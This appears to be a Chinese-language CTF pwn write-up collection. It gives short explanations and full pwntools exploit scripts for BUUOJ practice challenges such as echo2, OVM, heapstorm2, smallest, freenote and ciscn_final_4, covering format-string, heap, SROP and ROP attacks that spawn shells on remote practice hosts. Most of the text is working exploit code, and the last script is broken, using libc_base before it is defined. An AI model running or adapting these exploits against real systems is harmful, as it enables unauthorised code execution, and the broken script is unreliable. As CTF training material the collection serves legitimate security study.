p.sendlineafter(">>","1")
p.send(p64(ad))

def fmt_attack(con):
p.sendlineafter(">>","2")
p.sendline(con)

def get_flag(con):
p.sendlineafter(">>","3")
p.sendlineafter("door!\n",con)

p.sendlineafter("time:","a")
p.recvuntil("is ")
stack = int(p.recvuntil(":")[:-1])
log.info("stack: " + hex(stack))

pie = int(p.recvuntil(":")[:-1]) - 0xbd5
log.info("pie: " + hex(pie))
secret = pie + 0x202060
bss_stdout = 0x202020 + pie
bss_stderr = 0x202040 + pie
leak(bss_stderr + 1)
p.recv()
bit = u16(p.recv(1).ljust(2,"\x00"))
log.info(hex(bit))

pay = "%11$hhn%" + str((bit<<8) + 0x40) + "c%12$hn"
pay = pay.ljust(0x18,"\x00") + p64(secret) + p64(bss_stdout)
fmt_attack(pay)
get_flag("\x00")
#gdb.attach(p)
p.interactive()

inndy_echo2

简单格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

#p = process("./echo2")
p = remote("node4.buuoj.cn",27441)
elf = ELF("./echo2")
libc = ELF("./libc-2.23.so")

pay = "archer%42$p%43$p"

p.sendline(pay)
p.recvuntil("archer")
pie = int(p.recv(14),16) - 2576
log.info("pie: " + hex(pie))
libc_base = int(p.recv(14),16) - libc.sym["__libc_start_main"] - 240
log.info("libc_base: " + hex(libc_base))
printf_got = elf.got["printf"] + pie
sys_ad = libc_base + libc.sym["system"]
log.info("print_got: " + hex(printf_got))
log.info("system: " + hex(sys_ad))
sys = [sys_ad & 0xff,(sys_ad & 0xff00) >> 8,(sys_ad & 0xff0000) >> 16]
m = max(sys)
n = min(sys)
t = sys[0] + sys[1] + sys[2] - m - n
idx = [0,1,2]
for i in range(3):
if(n == sys[i]):
idx[0] = i
if(t == sys[i]):
idx[1] = i
if(m == sys[i]):
idx[2] = i
pay = "%" + str(n) + "c%12$hhn" + "%" + str(t - n) + "c%13$hhn" + "%" + str(m - t) + "c%14$hhn"
pay = pay.ljust(0x30,"\x00") + p64(printf_got + idx[0]) + p64(printf_got + idx[1]) + p64(printf_got + idx[2])
#gdb.attach(p)
p.sendline(pay)
p.sendline("/bin/sh\x00")
p.interactive()

[OGeek2019 Final]OVM

本地脚本,远程再改几个值就可以了,第一次做vmpwn(有点意思),这个vmpwn的逻辑比较清晰,通过memory的
越界来修改sendcomment为free_hook(free_hook需要根据bss上的stderr得到)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from pwn import *

p = process("./pwn")
elf = ELF("./pwn")
context(log_level = "debug")
libc = elf.libc
victim_ad = 0x201FF8
memory = 0x202060
log.info("free_hook: " + hex(libc.sym["__free_hook"]))
log.info("system: " + hex(libc.sym["system"]))
### PC ###
#PC = 0xffffffff - (memory - victim_ad)/4
PC = 1
p.sendlineafter("PCPC: ",str(PC))
### SP ###
SP = 1
p.sendlineafter("SP: ",str(SP))
### code_size ###
code_size = 32
p.sendlineafter("CODE SIZE: ",str(code_size))
### set reg[0] = 0xffffffff ####
pay = 0x20000000#reg[0] = 1
p.sendlineafter("CODE: ",str(pay))

pay = 0x80000100#reg[0] = 0 - 1
p.sendline(str(pay))

pay = 0x20010000#reg[1] = 1
p.sendline(str(pay))

pay = 0x80000001#reg[0] - 1
p.sendline(str(pay))

# -12 #
pay = 0x20020000#reg[2] = 1
p.sendline(str(pay))

pay = 0x70030201#reg[3] = [1] + [2]
p.sendline(str(pay))

pay = 0xc0010103#[1] << 2 = 4
p.sendline(str(pay))
# -24 #
pay = 0xc0010102#[1] << 1 = 8
p.sendline(str(pay))

pay = 0x80000001#reg[0] - 1
p.sendline(str(pay))

pay = 0xc0010102#[1] << 1
p.sendline(str(pay))

pay = 0x80000001#reg[0] - 16
p.sendline(str(pay))

pay = 0x30040000#[4] = mem[r0]
p.sendline(str(pay))

pay = 0x80000002#reg[0] - 1
p.sendline(str(pay))

pay = 0x30050000#[5] = mem[r0]
p.sendline(str(pay))

pay = 0x70000002#reg[0] = [0] + [2]
p.sendline(str(pay))

pay = 0x70000002#reg[0] = [0] + [2]
p.sendline(str(pay))

pay = 0x70000002#reg[0] = [0] + [2]
p.sendline(str(pay))

pay = 0x70000001#reg[0] = [0] + [1]
p.sendline(str(pay))

pay = 0xc0030303#[2] << 2 = 4
p.sendline(str(pay))

pay = 0xc0010103#[2] << 2 = 4
p.sendline(str(pay))

pay = 0x70040401#[4] + [1]
p.sendline(str(pay))

pay = 0x70030302#[3] + [2]
p.sendline(str(pay))

pay = 0x70030302#[3] + [2]
p.sendline(str(pay))

pay = 0xc0030302#[3] << 2 = 4
p.sendline(str(pay))

pay = 0xc0030302#[3] << 2 = 4
p.sendline(str(pay))

pay = 0xc0030302#[3] << 2 = 4
p.sendline(str(pay))

pay = 0xc0030302#[3] << 2 = 4
p.sendline(str(pay))

pay = 0x70040403#[3] + [2]
p.sendline(str(pay))

pay = 0x40040000#mem[r0] = reg[4]
p.sendline(str(pay))

pay = 0x70000002#[3] + [2]
p.sendline(str(pay))

pay = 0x40050000#mem[r0] = reg[4]
p.sendline(str(pay))

#gdb.attach(p)

pay = 0xff000000
p.sendline(str(pay))

p.recvuntil("R4: ")
ad1 = int(p.recvuntil("\n")[:-1],16)

p.recvuntil("R5: ")
ad2 = int(p.recvuntil("\n")[:-1],16)

free_hook = (ad2 << 32) + ad1 + 8
libc_base = free_hook - libc.sym["__free_hook"]

log.info("libc_base: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]

p.recvuntil("EEL AT OVM?\n")
p.send("/bin/sh\x00" + p64(sys_ad))

p.interactive()

ciscn_2019_es_4

libc-2.27下的off-by-null,限制有点多,不过仅此而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

'''
p = process("./ciscn_2019_es_4")
elf = ELF("./ciscn_2019_es_4")
libc = elf.libc
context(log_level = "debug")
'''
p = remote("node4.buuoj.cn",26895)
libc = ELF("./libc-2.27.so")
def add(idx,size,con):
p.sendlineafter("show\n","1")
p.sendlineafter("index:\n",str(idx))
p.sendlineafter("size:\n",str(size))
p.recvuntil("gift: ")
ad = int(p.recvuntil("\n")[:-1],16)
p.sendafter("content:\n",con)
return ad

def delete(idx):
p.sendlineafter("show\n","2")
p.sendlineafter("index:\n",str(idx))

def edit(idx,con):
p.sendlineafter("show\n","3")
p.sendlineafter("index:\n",str(idx))
p.sendafter("content:\n",con)

def show(idx):
p.sendlineafter("show\n","4")
p.sendlineafter("index:\n",str(idx))

for i in range(11):
add(i,0xf8,"aaaabbbb")
for i in range(7):
delete(i)

delete(7)
edit(8,"a"*0xf0 + p64(0x200))
delete(9)
for i in range(7):
add(i,0xf8,"aaaabbbb")
add(7,0xf8,"a"*8)
add(9,0xf8,"a"*8)
delete(0)
delete(8)
delete(9)
add(8,0xf8,p64(0x6022B0))
add(11,0xf8,p64(0x6022B0))
add(12,0xf8,p64(0) + p32(1) + p32(0))
show(7)
p.recvuntil("a"*8)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 848 - 0x10 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("libc_base: " + hex(libc_base))
delete(8)
edit(11,p64(free_hook))
add(0,0xf8,"/bin/sh\x00")
add(8,0xf8,p64(sys_ad))
delete(0)
#gdb.attach(p)
p.interactive()

0ctf_2018_heapstorm2

这个题是shrink chunk + house of storm(参考https://eternalsakura13.com/2018/04/03/heapstorm2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
p = process("./0ctf_2018_heapstorm2")

elf = ELF("./0ctf_2018_heapstorm2")
libc = elf.libc
context(log_level = "debug")
def add(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))

def edit(idx,con):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(con)))
p.sendafter("Content: ",con)

def delete(idx):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(idx))

def show(idx):
p.sendlineafter("Command: ","4")
p.sendlineafter("Index: ",str(idx))

add(0x18)#0
add(0x508)#1
add(0x18)#2
edit(1,"h"*0x4f0 + p64(0x500))

add(0x18)#3
add(0x508)#4
add(0x18)#5
edit(4,"h"*0x4f0 + p64(0x500))
add(0x18)#6

delete(1)
edit(0,"a"*(0x18 - 12))
add(0x18)#1
add(0x4d8)#7
delete(1)
delete(2)
add(0x38)#1
add(0x4e8)#2

delete(4)
edit(3,"a"*(0x18 - 12))
add(0x18)#4
add(0x4d8)#8
delete(4)
delete(5)
add(0x48)

delete(2)#这里sakura师傅是通过触发堆的整理从而满足house of storm的利用条件
add(0x4e8)
delete(2)

pay = "a"*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(0x13370800 - 0x20)
edit(7,pay)
pay = "a"*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(0x13370800 -0x20 + 8)
pay += p64(0) + p64(0x13370800 -0x20 - 0x18 - 5)
edit(8,pay)
try:
add(0x48)
except:
p.close()

pay = p64(0)*4 + p64(0x13377331) + p64(0) + p64(0x13370800)
edit(2,pay)
pay = p64(0)*2 + p64(0x13377331) + p64(0) + p64(0x13370910) + p64(0x60)
pay += p64(0x13370820) + p64(0x60)
edit(0,pay)
show(0)
p.recvuntil("Chunk[0]: ")
ad = u64(p.recv(8))
pay = p64(0x13370890) + p64(0x30) + p64(0x13370820) + p64(0x60)
edit(1,pay)
show(0)
p.recvuntil("Chunk[0]: ")
heap = u64(p.recv(8)) ^ ad + 0x20
log.info("heap: " + hex(heap))
pay = p64(heap) + p64(0x60) + p64(0x13370820) + p64(0x60)
edit(1,pay)
show(0)
p.recvuntil("Chunk[0]: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
pay = p64(free_hook) + p64(0x30) + p64(heap) + p64(0x30)
edit(1,pay)
edit(0,p64(sys_ad))
edit(1,"/bin/sh\x00")
delete(1)
#gdb.attach(p)
p.interactive()

pwnable_simple_login

emmmm,仔细分析的话确实是简单题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from base64 import *

#p = process("./login")
p = remote("node4.buuoj.cn",26494)
elf = ELF("./login")
libc = elf.libc
context.log_level = "debug"
#gdb.attach(p)
p.recvuntil("Authenticate : ")
pay = "abcd" + p32(0x08049284) + p32(0x0811EB40)
pay = b64encode(pay)
p.sendline(pay)

p.interactive()

linkctf_2018.7_babypie

简单题,思路是给了system(“/bin/sh”),但是这个题开了pie需要覆盖一个有pie且会执行到的地址,1/16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
#from base64 import *

#p = process("./babypie")
p = remote("node4.buuoj.cn",27261)
elf = ELF("./babypie")

def exp():
backdoor = 0xA3E
#gdb.attach(p)
pay = "a"*0x24 + "bbbb"
p.sendline(pay)
p.recvuntil("bbbb")

canary = u64(p.recv(8)) - 0xa
log.info("canary: " + hex(canary))
stack = u64(p.recv(6).ljust(8,"\x00"))
log.info("pie: " + hex(stack))

pay = "a"*0x28 + p64(canary) + p64(stack) + p16(0x4a3e)
p.send(pay)

while(1):
p = remote("node4.buuoj.cn",27261)
try:
exp()
p.interactive()
except:
p.close()

npuctf_2020_bad_guy

简单题,edit函数里有堆溢出,没有show功能思路是通过修改一个0x10的堆的大小,然后进unsortedbin中,此时再
free掉那个0x60的堆,将fd->stdout进而控制stdout泄露libc,最后malloc_hook改og实现利用,此时下面的脚本
不能直接拿到shell,需要手动malloc进行交互,从而触发og

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
#from base64 import *

#p = process("./npuctf_2020_bad_guy")
p = remote("node4.buuoj.cn",29685)
elf = ELF("./npuctf_2020_bad_guy")
libc = ELF("./libc-2.23.so")

def add(idx,size,con):
p.sendlineafter(">> ","1")
p.sendlineafter("Index :",str(idx))
p.sendlineafter("size: ",str(size))
p.sendafter("Content:",con)

def edit(idx,size,con):
p.sendlineafter(">> ","2")
p.sendlineafter("Index :",str(idx))
p.sendlineafter("size: ",str(size))
p.sendafter("content: ",con)

def free(idx):
p.sendlineafter(">> ","3")
p.sendlineafter("Index :",str(idx))

def attack():
add(0 , 0x10 , "aaaabbbb")
add(1 , 0x10 , "aaaabbbb")
add(2 , 0x60 , "aaaabbbb")
add(3 , 0x10 , "aaaabbbb")

free(2)

edit(0,0x20,"a"*0x18 + p64(0x91))

free(1)

add(1 , 0x10 , "aaaabbbb")
#gdb.attach(p)
edit(1 , 0x30 , "a"*0x18 + p64(0x71) + p8(0xdd) + p8(0x55))
add(2 , 0x60 , "aaaabbbb")
pay = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x58"
add(3,0x60,pay)

libc_base = u64(p.recv(8)) - 0x3C56A3
og = [0x45216,0x4526a,0xf02a4,0xf1147]
log.info("libc_base: " + hex(libc_base))

malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.info("malloc_hook: " + hex(malloc_hook))
free(2)
edit(1,0x28,"a"*0x18 + p64(0x71) + p64(malloc_hook - 0x23))
add(4,0x60,p64(malloc_hook - 0x23))
pay = p8(0)*3 + p64(0)*2 + p64(og[3] + libc_base)
add(5,0x60,pay)

#gdb.attach(p)
p.interactive()

while(1):
p = remote("node4.buuoj.cn",29685)
try:
attack()
except:
p.close()

https://blog.csdn.net/qq_41202237/article/details/118518498

思路大概就是利用0x4008ac之后的gadget控制参数,然后执行mprotect=改bss的权限,然后getshell,装好库才能生成shellcode
,命令如下

1
sudo apt-get install binutils-aarch64-linux-gnu
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = remote("node4.buuoj.cn",28074)

context.arch = "aarch64"
context.os = "linux"
elf = ELF("./pwn")
mprotect_plt = elf.plt["mprotect"]
shellcode = asm(shellcraft.aarch64.linux.sh(),arch='aarch64')

p.sendline(p64(mprotect_plt) + shellcode)
bss_ad = 0x411068
offset = 72
gadget1 = 0x4008ac
gadget2 = 0x4008cc

pay1 = "a"*offset + p64(gadget2) + "a"*8 + p64(gadget1) + p64(0) + p64(1) + p64(bss_ad) + p64(7) + p64(0x100) + p64(bss_ad + 8) + p64(0) + p64(bss_ad + 8)

p.sendline(pay1)

p.interactive()

参考(https://blog.csdn.net/qq_41202237/article/details/118518498)

360chunqiu2017_smallest

经典srop,主程序只有sys_read,思路:先泄露栈地址,然后迁移栈到泄露的地址,然后再execve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

#p = process("./smallest")
p = remote("node4.buuoj.cn",26122)
context.log_level = "debug"
elf = ELF("./smallest")
context(arch = "amd64",os = "linux")
ad1 = 0x4000B0
syscall_ret = 0x4000BE
pay = p64(ad1) * 3
p.send(pay)

raw_input()
p.send('\xb3')
raw_input()
p.recv(8)
ad = u64(p.recv(8)) & 0xfffffffffffff000
log.info("canary: " + hex(ad))

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = ad
frame.rdx = 0x400
frame.rsp = ad
frame.rip = syscall_ret

pay = p64(ad1) + "a"*0x8 + str(frame)
p.send(pay)
raw_input()
pay = p64(syscall_ret) + "a"*7
p.send(pay)
raw_input()
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = ad + 0x200
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

pay = p64(ad1) + "a"*8 + str(frame)
pay = pay.ljust(0x200) + "/bin/sh\x00"
p.send(pay)
raw_input()
pay = p64(syscall_ret) + "a"*7
p.send(pay)
raw_input()
p.interactive()

0ctf2015_freenote

学到很多,smallbin double + unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

#p = process("./freenote_x64")
p = remote("node4.buuoj.cn",29591)
elf = ELF("./freenote_x64")
#libc = elf.libc
libc = ELF("./libc-2.23.so")
context(log_level = "debug")
def add(con):#len -> 1 -> 0x1000 0x80 0x100 0x180
p.sendlineafter("choice: ","2")
p.sendlineafter("note: ",str(len(con)))
p.sendafter("note: ",con)

def show():
p.sendlineafter("choice: ","1")

def edit(idx,con):
p.sendlineafter("choice: ","3")
p.sendlineafter("number: ",str(idx))
p.sendlineafter("note: ",str(len(con)))
p.sendafter("note: ",con)

def delete(idx):
p.sendlineafter("choice: ","4")
p.sendlineafter("number: ",str(idx))

add("a"*0x80)#0
add("b"*0x80)#1
add("c"*0x80)#2
add("d"*0x80)#3

delete(0)
delete(2)

add("d"*0x8)#0
add("e"*0x8)#2
show()

### leak libc + heap ###
p.recvuntil("d"*8)
heap = u64(p.recv(4).ljust(8,"\x00"))
p.recvuntil("e"*8)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
log.info("heap: " + hex(heap))
log.info("ad: " + hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
### leak libc + heap ###

delete(3)
delete(2)
delete(1)
delete(0)
ad1 = heap - 6464 + 0x30 - 0x18
ad2 = heap - 6464 + 0x30 - 0x10
pay = p64(0) + p64(0x111) + p64(ad1) + p64(ad2)
add(pay)
pre_size = 0x110
pay1 = "/bin/sh\x00"*2*8 + p64(pre_size) + p64(0x90)
pay1 += "a"*0x80 + p64(0) + p64(0x91) + "a"*0x80
add(pay1)
delete(2)
pay2 = p64(1)*2 + p64(0x20) + p64(free_hook)
edit(0,pay2)
edit(0,p64(sys_ad)*4)
delete(1)
p.interactive()

ciscn_2019_final_4

相关条件:ubuntu16,有new,write,delete函数,存在uaf,程序开始处存在一处栈上的输入,主程序while(1),开了沙盒,
思路一般来说是使用setcontext来进行rop,但是free_hook前没有满足条件能够写入setcontext的地方(没开pie,不然
方法就很多了),于是思路就变成了使用堆布置栈,通过environ泄露栈地址。
(补充:需要先用ida将400F91处改为E9 99 00 00 00)
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *

#p = process("./ciscn_final_4")
p = remote("node4.buuoj.cn",28790)
elf = ELF("./ciscn_final_4")
libc = ELF("./libc-2.23.so")
#context(log_level = "debug")

def add(size,con):
p.sendlineafter(">> ", "1")
p.sendlineafter("size?\n",str(size))
p.sendafter("content?\n",con)

def delete(idx):
p.sendlineafter(">> ","2")
p.sendlineafter("index ?\n",str(idx))

def write(idx):
p.sendlineafter(">> ","3")
p.sendlineafter("index ?\n",str(idx))

pay = "a"*0xe8 + p64(0) + p64(0x81)
p.sendafter("name? \n",pay)
add(0x100,"a"*0x100)
add(0x78,"b"*0x78)
add(0x78,"c"*0x78)
add(0x38,"d"*0x38)
add(0x38,"e"*0x38)
add(0x10,"d"*0x10)
add(0x81,"f"*0x81)

heap_size_bss = 0x602058
note_bss = 0x6020c0
delete(0)
write(0)

main_arena = u64(p.recv(6).ljust(8,"\x00"))
libc_base = main_arena - 88 - 0x10 - libc.sym["__malloc_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
environ = libc_base + libc.sym["__environ"]
rdi = libc_base + 0x0000000000021102
rsi = libc_base + 0x00000000000202e8
rdx = libc_base + 0x0000000000001b92

add_rsp_148 = libc_base + 0x00000000000353aa
openat = libc_base + libc.sym["openat"]
read = libc_base + libc.sym["read"]
puts = libc_base + libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
log.info("environ: " + hex(environ))

delete(1)
delete(2)
delete(1)

add(0x78,p64(heap_size_bss - 0x8))
add(0x78,"b")
add(0x78,"b")

payload = "\x00" * 0x60
payload += p64(environ)
add(0x78,payload)
write(0)
stack = u64(p.recv(6).ljust(8,"\x00"))
log.info("stack: " + hex(stack))

fake_chunk_stack_addr = stack - 0x120
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr))#11

add(0x78,"d")#12
add(0x78,"d")#13
add(0x78,"d"*0x11)#14


write(14)
p.recvuntil("d"*0x11)

canary = u64(p.recv(7).rjust(8,"\x00"))
log.info("canary: " + hex(canary))

delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr))
add(0x78,"d")
add(0x78,"d")

next_rop_ad = fake_chunk_stack_addr + 0x88
payload = "a"*0x40
payload += p64(rdi) + p64(0) + p64(rsi) + p64(next_rop_ad) + p64(rdx) + p64(0x1000) + p64(read)
add(0x78,payload)

fake_ad_2 = stack - 0x246
delete(3)
delete(4)
delete(3)
add(0x38,p64(fake_ad_2))

add(0x38,"d")
add(0x38,"d")

payload = "a"*6 + p64(canary) + p64(0)
payload += p64(add_rsp_148)
add(0x38,payload)

flag_ad = next_rop_ad + 0x88

rop = p64(rdi) + p64(0) + p64(rsi) + p64(flag_ad) + p64(rdi) + p64(0) + p64(openat)
#read(fd,flag_addr,0x30)
rop += p64(rdi) + p64(3) + p64(rsi) + p64(flag_ad) + p64(rdx) + p64(0x30) + p64(read)
#puts(flag_addr)
rop += p64(rdi) + p64(flag_ad) + p64(puts)
rop += '/flag\x00'

p.send(rop)
print p.recv()
p.interactive()

(参考:https://blog.csdn.net/seaaseesa/article/details/105855306)

gwctf_2019_jiandan_pwn1

简单题,最好多用几个send,
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

#p = process("./pwn")
p = remote("node4.buuoj.cn",26594)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
context(log_level = "debug")
#gdb.attach(p)
rdi = 0x0000000000400843#pop rdi;ret
rsi = 0x0000000000400841#pop rsi;pop r15;ret
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

func = 0x400728

p.recvuntil("Hack 4 fun!\n")
p.send("a"*(0x110 - 5 - 8))
p.send("c"*8)
p.send("b")
p.send(p8(0x18))


p.send(p64(rdi))
p.send(p64(puts_got))
p.send(p64(puts_plt))
p.send(p64(func) + "\n")

ad = u64(p.recv(6).ljust(8,"\x00"))
libc_base = ad - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]
bin_sh = 0x000000000018cd57 + libc_base
#gdb.attach(p)
p.send("a"*(0x110 - 5 - 8))
p.send("c"*8)
p.send("b")
p.send(p8(0x18))
p.send(p64(rdi))
p.send(p64(bin_sh))
p.sendline(p64(sys_ad))
p.interactive()

sleepyHolder_hitcon_2016

学到很多,fastbindouble的检查只是检查fastbin中的堆头是否于当前释放的堆相同,但是如果触发malloc_consolite,
此时,会取出fastbin中的堆,相邻的chunk进行合并,并且会设置下一个chunk的prev_inuse位为0。这题中可以使用
选项3分配一个特别大的堆,来触发,然后进行unlink操作就差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

p = remote("node4.buuoj.cn",26847)
#p = process("./sleepyHolder_hitcon_2016")
elf = ELF("./sleepyHolder_hitcon_2016")
libc = ELF("./libc-2.23.so")
context(log_level = "debug")
def add(choice, con):
p.sendlineafter("3. Renew secret\n","1")
p.sendlineafter("forever\n",str(choice))
p.sendlineafter("secret: \n",con)
def add1(choice, con):
p.sendlineafter("3. Renew secret\n","1")
p.sendlineafter("2. Big secret\n",str(choice))
p.sendlineafter("secret: \n",con)
def delete(choice):
p.sendlineafter("3. Renew secret\n","2")
p.sendlineafter("Big secret\n",str(choice))
def edit(choice,con):
p.sendlineafter("3. Renew secret\n","3")
p.sendlineafter("2. Big secret\n",str(choice))
p.sendafter("secret: \n",con)

free_got = elf.got["free"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
sleep(3)
add(1,"archer")
add(2,"bbbb")

delete(1)
add(3,"aaaa")
delete(1)
bss = 0x6020d0
fd = bss - 0x18
bk = bss - 0x10
pay = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20)
add1(1,pay)
delete(2)
pay = p64(0) + p64(free_got) + p64(0) + p64(bss - 0x10)
pay += p64(0x0000000100000001)
edit(1,pay)
edit(2,p64(puts_plt))
pay = p64(puts_got) + p64(0) + p64(bss - 0x10)
pay += p64(0x0000000100000001) + p64(0x00000001)
edit(1,pay)
delete(2)


libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]
pay = p64(free_got) + "/bin/sh\x00" + p64(bss - 0x10 + 0x8)
pay += p64(0x0000000100000001) + p64(0x00000001)
edit(1,pay)
edit(2,p64(sys_ad))
delete(1)


p.interactive()

actf_2019_onerepeater

32位格式化字符串,partial relro,可以直接改got,没开NX,可以shellcode(原理都差不多还不如直接改got一步到位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

#p = process("./ACTF_2019_OneRepeater")
p = remote("node4.buuoj.cn",25129)
elf = ELF("./ACTF_2019_OneRepeater")
libc = ELF("./libc-2.27.so")
context(log_level = "debug")

#gdb.attach(p)
printf_got = elf.got["printf"]
p.sendlineafter("3) Exit\n","1")
buf = int(p.recv(8),16)
log.info("buf: " + hex(buf))
offset = 16
pay = "a"*4 + "%2$p"
p.send(pay)
p.sendlineafter("3) Exit\n","2")
p.recvuntil("aaaa")
libc_base = int(p.recv(10),16) - 11 - libc.sym["_IO_puts"]
log.info("libc_base:" + hex(libc_base))
log.info("printf_got: " + hex(printf_got))
sys_ad = libc_base + libc.sym["system"]
log.info("sys: " + hex(sys_ad))

ad = [sys_ad & 0xff,(sys_ad >> 8) & 0xff,(sys_ad >> 16) & 0xff,(sys_ad >> 24) & 0xff]
ad1 = [printf_got,printf_got + 1,printf_got + 2,printf_got + 3]

n = len(ad)
for i in range(n):
for j in range(0, n-i-1):
if ad[j] > ad[j+1] :
ad[j], ad[j+1] = ad[j+1], ad[j]
ad1[j], ad1[j+1] = ad1[j+1], ad1[j]
p.sendlineafter("3) Exit\n","1")
pay = "%" + str(ad[0]) + "c" + "%32$hhn"
pay += "%" + str(ad[1] - ad[0]) + "c" + "%33$hhn"
pay += "%" + str(ad[2] - ad[1]) + "c" + "%34$hhn"
pay += "%" + str(ad[3] - ad[2]) + "c" + "%35$hhn"
pay = pay.ljust(0x40,"a") + p32(ad1[0]) + p32(ad1[1])
pay += p32(ad1[2]) + p32(ad1[3]) + ";/bin/sh\x00"
p.sendlineafter("\n",pay)
p.sendlineafter("3) Exit\n","2")
p.sendlineafter("3) Exit\n","2")
p.interactive()

[GKCTF 2021]checkin

这个题密码验证那里猜出来md5的加密方式,然后栈迁移,就差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

p = remote("node4.buuoj.cn",27664)

p = process('./login')
libc = ELF("./libc.so.6")
puts = 0x4018B5
puts_got = 0x602028
rdi = 0x401ab3
bss = 0x602400
og = 0x4527a + libc_base
p.recvuntil('>')
payload = 'admin\x00\x00\x00' +p64(rdi) + p64(puts_got) +p64(puts)
p.send(payload)
p.recvuntil('>')
payload = 'admin\x00\x00\x00' +p64(0)*3 + p64(bss)
p.send(payload)
p.recvuntil("\n")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym['puts']
log.success(hex(libc_base))
p.recvuntil('>')
payload = 'admin\x00\x00\x00'*3 +p64(og)
p.send(payload)
